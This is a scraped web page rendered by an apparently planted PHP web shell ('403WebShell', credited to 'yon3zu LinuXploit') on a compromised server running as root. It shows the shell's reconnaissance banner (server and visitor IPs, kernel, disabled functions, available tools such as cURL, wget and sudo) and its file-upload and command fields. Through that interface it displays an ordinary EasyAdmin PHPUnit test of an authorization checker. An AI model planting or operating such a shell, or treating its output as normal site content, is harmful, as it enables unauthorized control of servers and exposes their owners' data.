WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.174
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/easycorp/easyadmin-bundle/tests/Security/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/easycorp/easyadmin-bundle/tests/Security/AuthorizationCheckerTest.php
<?php

namespace EasyCorp\Bundle\EasyAdminBundle\Security;

use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
use Symfony\Component\Security\Core\Exception\AuthenticationCredentialsNotFoundException;

class AuthorizationCheckerTest extends TestCase
{
    /**
     * @var AuthorizationCheckerInterface|MockObject
     */
    private $authorizationChecker;

    /**
     * @var AuthorizationChecker
     */
    private $decorator;

    protected function setUp()
    {
        $this->authorizationChecker = $this->createMock(AuthorizationCheckerInterface::class);
        $this->decorator = new AuthorizationChecker($this->authorizationChecker);
    }

    public function testIsGrantedEmptyAttributes()
    {
        $this->assertTrue($this->decorator->isGranted([]));
    }

    public function testIsGrantedScalarAttribute()
    {
        $attributes = 'ROLE_ADMIN';
        $subject = new \stdClass();
        $this->authorizationChecker
            ->expects($this->once())
            ->method('isGranted')
            ->with($attributes, $subject)
            ->willReturn(true);

        $result = $this->decorator->isGranted($attributes, $subject);

        $this->assertTrue($result);
    }

    public function testIsGrantedSecondAttributeGranted()
    {
        $attributes = ['ROLE_ADMIN', 'ROLE_MANAGER'];
        $subject = new \stdClass();
        $this->authorizationChecker
            ->expects($this->exactly(2))
            ->method('isGranted')
            ->withConsecutive(['ROLE_ADMIN', $subject], ['ROLE_MANAGER', $subject])
            ->willReturnOnConsecutiveCalls(false, true);

        $result = $this->decorator->isGranted($attributes, $subject);

        $this->assertTrue($result);
    }

    public function testIsGrantedNoAttributeGranted()
    {
        $attributes = ['ROLE_ADMIN', 'ROLE_MANAGER'];
        $subject = new \stdClass();
        $this->authorizationChecker
            ->expects($this->exactly(2))
            ->method('isGranted')
            ->withConsecutive(['ROLE_ADMIN', $subject], ['ROLE_MANAGER', $subject])
            ->willReturnOnConsecutiveCalls(false, false);

        $result = $this->decorator->isGranted($attributes, $subject);

        $this->assertFalse($result);
    }

    public function testIsGrantedWillCatchAuthenticationCredentialsNotFoundException()
    {
        $attributes = 'ROLE_ADMIN';
        $this->authorizationChecker
            ->expects($this->once())
            ->method('isGranted')
            ->with($attributes, null)
            ->willThrowException(new AuthenticationCredentialsNotFoundException());

        $result = $this->decorator->isGranted($attributes);

        $this->assertTrue($result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit